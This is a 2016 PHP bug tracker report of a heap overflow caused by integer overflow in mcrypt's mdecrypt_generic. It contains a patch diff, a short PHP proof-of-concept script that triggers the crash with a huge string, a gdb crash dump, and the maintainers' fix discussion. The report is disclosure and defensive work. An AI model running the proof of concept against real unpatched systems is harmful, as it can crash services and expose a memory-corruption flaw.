php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #72782 Heap Overflow due to integer overflows
Submitted: 2016-08-08 14:24 UTC Modified: 2017-02-13 01:46 UTC
From: loianhtuan at gmail dot com Assigned: stas (profile)
Status: Closed Package: mcrypt related
PHP Version: 7.0.9 OS:
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: loianhtuan at gmail dot com
New email:
PHP Version: OS:

 

 [2016-08-08 14:24 UTC] loianhtuan at gmail dot com
Description:
------------
Refer to bug #72455
The fix is not sufficient. PoC still crash. The overflowed variable is data_len (when casting to int), not data_size. In the PoC, data_size is 0x20 and data_len is 0xfffffff0.

Define data_size and block_size as size_t is much more elegant:

--- a/ext/mcrypt/mcrypt.c
+++ b/ext/mcrypt/mcrypt.c
@@ -614,10 +614,9 @@ PHP_FUNCTION(mcrypt_generic)
 {
 	zval *mcryptind;
 	char *data;
-	size_t data_len;
+	size_t data_len, block_size, data_size;
 	php_mcrypt *pm;
 	zend_string* data_str;
-	int block_size, data_size;

 	if (zend_parse_parameters(ZEND_NUM_ARGS(), "rs", &mcryptind, &data, &data_len) == FAILURE) {
 		return;
@@ -636,11 +635,7 @@ PHP_FUNCTION(mcrypt_generic)
 	/* Check blocksize */
 	if (mcrypt_enc_is_block_mode(pm->td) == 1) { /* It's a block algorithm */
 		block_size = mcrypt_enc_get_block_size(pm->td);
-		data_size = ((((int)data_len - 1) / block_size) + 1) * block_size;
-		if (data_size <= 0) {
-			php_error_docref(NULL TSRMLS_CC, E_WARNING, "Integer overflow in data size");
-			RETURN_FALSE;
-		}
+		data_size = (((data_len - 1) / block_size) + 1) * block_size;
 		data_str = zend_string_alloc(data_size, 0);
 		memset(ZSTR_VAL(data_str), 0, data_size);
 		memcpy(ZSTR_VAL(data_str), data, data_len);
@@ -649,7 +644,7 @@ PHP_FUNCTION(mcrypt_generic)
 			php_error_docref(NULL, E_WARNING, "Data size too large, %d maximum", INT_MAX);
 			RETURN_FALSE;
 		}
-		data_size = (int)data_len;
+		data_size = data_len;
 		data_str = zend_string_alloc(data_size, 0);
 		memset(ZSTR_VAL(data_str), 0, data_size);
 		memcpy(ZSTR_VAL(data_str), data, data_len);
@@ -668,10 +663,9 @@ PHP_FUNCTION(mdecrypt_generic)
 {
 	zval *mcryptind;
 	char *data;
-	size_t data_len;
+	size_t data_len, block_size, data_size;
 	php_mcrypt *pm;
 	char* data_s;
-	int block_size, data_size;

 	if (zend_parse_parameters(ZEND_NUM_ARGS(), "rs", &mcryptind, &data, &data_len) == FAILURE) {
 		return;
@@ -690,12 +684,8 @@ PHP_FUNCTION(mdecrypt_generic)
 	/* Check blocksize */
 	if (mcrypt_enc_is_block_mode(pm->td) == 1) { /* It's a block algorithm */
 		block_size = mcrypt_enc_get_block_size(pm->td);
-		data_size = ((((int)data_len - 1) / block_size) + 1) * block_size;
-		if (data_size <= 0) {
-			php_error_docref(NULL TSRMLS_CC, E_WARNING, "Integer overflow in data size");
-			RETURN_FALSE;
-		}
-		data_s = emalloc((size_t)data_size + 1);
+		data_size = (((data_len - 1) / block_size) + 1) * block_size;
+		data_s = emalloc(data_size + 1);
 		memset(data_s, 0, data_size);
 		memcpy(data_s, data, data_len);
 	} else { /* It's not a block algorithm */
@@ -703,7 +693,7 @@ PHP_FUNCTION(mdecrypt_generic)
 			php_error_docref(NULL, E_WARNING, "Data size too large, %d maximum", INT_MAX);
 			RETURN_FALSE;
 		}
-		data_size = (int)data_len;
+		data_size = data_len;
 		data_s = emalloc(data_size + 1);
 		memset(data_s, 0, data_size);
 		memcpy(data_s, data, data_len);

Test script:
---------------
<?php
	/* Data */
	ini_set('memory_limit',-1);

	$key = str_repeat('C', 32);
	$str = str_repeat('A', 0xfffffff0);

	// $td = mcrypt_module_open('des', '', 'ecb', '');
	$td = mcrypt_module_open(MCRYPT_RIJNDAEL_256, '', 'cbc', '');
	$ks = mcrypt_enc_get_key_size($td);

	$iv = str_repeat('D', 32);

	if (mcrypt_generic_init($td, $key, $iv) != -1) {
		mcrypt_generic_init($td, $key, $iv);
		$p_t = mdecrypt_generic($td, $str);

		mcrypt_generic_deinit($td);
		mcrypt_module_close($td);
	}
?>

Expected result:
----------------
No crash

Actual result:
--------------
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0xfffffffdff183d08
RBX: 0x0
RCX: 0x1ffffffe0
RDX: 0xfffffff0
RSI: 0x7ffef5a00018 ('A' <repeats 200 times>...)
RDI: 0x7ffff687c320 ('A' <repeats 16 times>)
RBP: 0x7fffffffb0d0 --> 0x7fffffffb110 --> 0x7fffffffb140 --> 0x7fffffffb180 --> 0x7fffffffb280 --> 0x7fffffffd4c0 --> 0x7fffffffe810 --> 0x7fffffffe970 --> 0x0
RSP: 0x7fffffffb078 --> 0x7ffff5f16ed8 (<zif_mdecrypt_generic+431>:	jmp    0x7ffff5f16f3a <zif_mdecrypt_generic+529>)
RIP: 0x7ffff7020ef5 (<__memcpy_sse2_unaligned+53>:	movdqu XMMWORD PTR [rdi+rdx*1-0x10],xmm8)
R8 : 0x2b6
R9 : 0x0
R10: 0x7fffffffae40 --> 0x0
R11: 0x7ffff5ce48b0 (<mcrypt_enc_get_block_size>:	mov    rax,QWORD PTR [rdi+0xc8])
R12: 0x422c80 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffea50 --> 0x2
R14: 0x7ffff6814030 --> 0x7ffff687f5c0 --> 0x8a531a (<ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER>:	push   rbp)
R15: 0x7ffff687f5c0 --> 0x8a531a (<ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER>:	push   rbp)
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ffff7020ee5 <__memcpy_sse2_unaligned+37>:	cmp    rdx,0x20
   0x7ffff7020ee9 <__memcpy_sse2_unaligned+41>:	movdqu XMMWORD PTR [rdi],xmm8
   0x7ffff7020eee <__memcpy_sse2_unaligned+46>:	movdqu xmm8,XMMWORD PTR [rsi+rdx*1-0x10]
=> 0x7ffff7020ef5 <__memcpy_sse2_unaligned+53>:	movdqu XMMWORD PTR [rdi+rdx*1-0x10],xmm8
   0x7ffff7020efc <__memcpy_sse2_unaligned+60>:	ja     0x7ffff7020f10 <__memcpy_sse2_unaligned+80>
   0x7ffff7020efe <__memcpy_sse2_unaligned+62>:	mov    rax,rdi
   0x7ffff7020f01 <__memcpy_sse2_unaligned+65>:	ret
   0x7ffff7020f02 <__memcpy_sse2_unaligned+66>:	data32 data32 data32 data32 nop WORD PTR cs:[rax+rax*1+0x0]
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffb078 --> 0x7ffff5f16ed8 (<zif_mdecrypt_generic+431>:	jmp    0x7ffff5f16f3a <zif_mdecrypt_generic+529>)
0008| 0x7fffffffb080 --> 0x7ffff68141d0 --> 0x0
0016| 0x7fffffffb088 --> 0x7ffff6814210 --> 0x0
0024| 0x7fffffffb090 --> 0x2000000020 (' ')
0032| 0x7fffffffb098 --> 0x7ffff6814260 --> 0x7ffff68020a8 --> 0x900000002
0040| 0x7fffffffb0a0 --> 0x7ffef5a00018 ('A' <repeats 200 times>...)
0048| 0x7fffffffb0a8 --> 0xfffffff0
0056| 0x7fffffffb0b0 --> 0x7ffff687c320 ('A' <repeats 16 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
__memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:37
37	../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S: No such file or directory.
gdb-peda$ bt
#0  __memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:37
#1  0x00007ffff5f16ed8 in zif_mdecrypt_generic (execute_data=0x7ffff6814210, return_value=0x7ffff68141d0) at /home/vps/git/php-src/ext/mcrypt/mcrypt.c:696
#2  0x00000000008a53a3 in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER () at /home/vps/git/php-src/Zend/zend_vm_execute.h:675
#3  0x00000000008a4ac6 in execute_ex (ex=0x7ffff6814030) at /home/vps/git/php-src/Zend/zend_vm_execute.h:429
#4  0x00000000008a4bd8 in zend_execute (op_array=0x7ffff687e000, return_value=0x0) at /home/vps/git/php-src/Zend/zend_vm_execute.h:474
#5  0x0000000000845328 in zend_execute_scripts (type=0x8, retval=0x0, file_count=0x3) at /home/vps/git/php-src/Zend/zend.c:1447
#6  0x00000000007affb0 in php_execute_script (primary_file=0x7fffffffd6b0) at /home/vps/git/php-src/main/main.c:2538
#7  0x00000000009247a8 in do_cli (argc=0x2, argv=0x10c7770) at /home/vps/git/php-src/sapi/cli/php_cli.c:990
#8  0x000000000092596c in main (argc=0x2, argv=0x10c7770) at /home/vps/git/php-src/sapi/cli/php_cli.c:1378
#9  0x00007ffff6faaf45 in __libc_start_main (main=0x925164 <main>, argc=0x2, argv=0x7fffffffea58, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>,
    stack_end=0x7fffffffea48) at libc-start.c:287
#10 0x0000000000422ca9 in _start ()

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-08-11 05:23 UTC] stas@php.net
Not sure why block_size should be size_t... I have never seen a block cypher with blocks so huge it doesn't fit into int.
 [2016-08-11 05:32 UTC] loianhtuan at gmail dot com
Some can ask the same question: why it should be int? Negative value means nothing here. So I prefer size_t for future proof. Btw, it's up to you. :D
 [2016-08-11 05:40 UTC] stas@php.net
-PHP Version: 7.1Git-2016-08-08 (Git) +PHP Version: 7.0.9 -Assigned To: +Assigned To: stas
 [2016-08-11 05:40 UTC] stas@php.net
Patch in https://gist.github.com/3b95740f9008e008b0c6f202e410d996 should fix it (also 4f6a97f5321ef617b98a1f79aac1ad447d13b2b4 in security repo). Please verify.
 [2016-08-11 06:29 UTC] loianhtuan at gmail dot com
Hi I have verified. It works!
Thanks!
 [2016-08-17 08:34 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-08-17 08:34 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 [2017-02-13 01:46 UTC] stas@php.net
-Type: Security +Type: Bug
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Nov 21 14:01:29 2024 UTC